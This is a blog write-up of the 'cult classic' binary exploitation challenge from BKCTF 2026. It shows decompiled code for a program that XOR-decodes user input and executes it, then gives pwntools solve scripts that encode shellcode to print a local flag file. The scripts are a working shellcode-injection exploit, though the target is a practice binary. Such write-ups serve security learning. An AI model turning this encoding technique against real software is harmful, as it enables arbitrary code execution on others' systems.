Post

cult classic

Cult classic was an Easy Binary Exploitation challenge from BKCTF 2026. It was the second most solved Binary Exploitation challenge.

Cult classic was an Easy Binary Exploitation challenge from BKCTF 2026. It was the second most solved Binary Exploitation challenge.

Reversing

After putting the cult-classic binary into ghidra, and disassembling main, I got the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* WARNING: Unknown calling convention */

int main(void)

{
  long lVar1;
  long in_FS_OFFSET;
  char sigils [128];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  puts("Draw ritual sigils");
  fgets(sigils,0x80,stdin);
  castSpell(sigils);
  puts("...Has the dark lord been awoken yet?");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

The main function seems to call another function, castSpell(), so let’s decompile that too:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void castSpell(char *ritual)

{
  long lVar1;
  long in_FS_OFFSET;
  char *ritual_local;
  uint8_t i;
  char decipheredSpell [128];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  for (i = '\0'; -1 < (char)i; i = i + '\x01') {
    decipheredSpell[(int)(uint)i] = (i ^ ritual[i]) + 7;
  }
  puts("Now casting...");
  (*(code *)decipheredSpell)();
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Analysis

Due to this being a beginner challenge, the mechanism of code execution through this binary is clear. In the castSpell() function, the argument (ritual) that is passed in gets morphed into a decipheredSpell and then gets executed as code. NX was off on this challenge, so the first thing that came to mind was shellcode. Due to the large write that we have, shellcode golfing will not be neccesary. Since we control the argument that gets deciphered and then executed, we can assemble a shellcode payload with the right morphing, so that when it gets deciphered, it is valid shellcode that when executed, prints the flag.

Decoding the Morphing

To make sure our shellcode is valid after the morphing, we simply have to apply the operations they applied to “decipher” in reverse order. So, for every byte of shellcode, we will subtract 7 and then XOR the result with a count variable that keeps track of how many bytes have been morphed so far. This will ensure that when our shellcode is “deciphered” that we get back our originally intended flag shellcode. This gives us the following solve script made with pwntools.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.clear(arch="amd64")
# tell pwntools what architecture to make shellcode for
payload = asm(shellcraft.cat("flag"))
# create shellcode that will cat out the flag file
elf = ELF("cult_classic")
p = process(elf.path)
payload = payload
morphed_payload = []
i = 0
for x in payload:
    morphed_payload.append((x-7)^i) # reverse the deciphering algorithm
    i += 1  # increment i for each byte processed
morphed_payload_bytes = bytes(morphed_payload)
p.sendline(morphed_payload_bytes)
p.interactive()

Valid Byte Range

However, executing the above script returns an error:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/BKCTF/cult-classic]                                                                                                                                                                                                                
└─$ python3 solve.py                                                                                                                                                                                                                         
[*] '/home/kali/BKCTF/cult-classic/cult_classic'                                                                                                                                                                                                      
    Arch:       amd64-64-little                                                                                                                                                                                                              
    RELRO:      Full RELRO                                                                                                                                                                                                                   
    Stack:      Canary found                                                                                                                                                                                                                 
    NX:         NX unknown - GNU_STACK missing                                                                                                                                                                                               
    PIE:        PIE enabled                                                                                                                                                                                                                  
    Stack:      Executable                                                                                                                                                                                                                   
    RWX:        Has RWX segments                                                                                                                                                                                                             
    SHSTK:      Enabled                                                                                                                                                                                                                      
    IBT:        Enabled                                                                                                                                                                                                                      
    Stripped:   No                                                                                                                                                                                                                           
    Debuginfo:  Yes                                                                                                                                                                                                                          
[+] Starting local process /home/kali/BKCTF/cult-classic/cult_classic': pid 507217                                                                                                                                                                   
Traceback (most recent call last):                                                                                                                                                                                                           
  File "/home/kali/BKCTF/cult-classic/solve.py", line 27, in <module>                                                                                                                                                                                 
    morphed_payload_bytes = bytes(morphed_payload)
ValueError: bytes must be in range(0, 256)
[*] Stopped process '/home/kali/BKCTF/cult-classic/cult_classic' (pid 507217)

Since we are morphing each byte, some are going out of the valid byte range of 0-256.

How can this be accounted for?

In the deciphering algorithm, no matter what integer result the morphing returns, it’s being added to a char array (chars are always 1 byte in size). This means that only the least significant 1 byte matters, and anything past 1 byte (or 256) does not influence the resulting deciphered shellcode. So knowing this, we can implement the same thing in our algorithm by wrapping around any overflow above 1 byte (or any negative numbers), and we won’t lose any important information. This can be done with the modulus operator in python, which fixes all our invalid byte values.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.clear(arch="amd64")
# tell pwntools what architecture to make shellcode for
payload = asm(shellcraft.cat("flag"))
# create shellcode that will cat out the flag file
elf = ELF("cult_classic")
p = process(elf.path)
payload = payload
morphed_payload = []
i = 0
for x in payload:
    morphed_payload.append(((x-7)^i)%256) # reverse the deciphering algorithm
    i += 1 # increment i for each byte processed
print(morphed_payload)
morphed_payload_bytes = bytes(morphed_payload)
p.sendline(morphed_payload_bytes)
p.interactive()

Running this pwntools script will successfully print the flag file if it exists in the same directory as the challenge file.

This post is licensed under CC BY 4.0 by the author.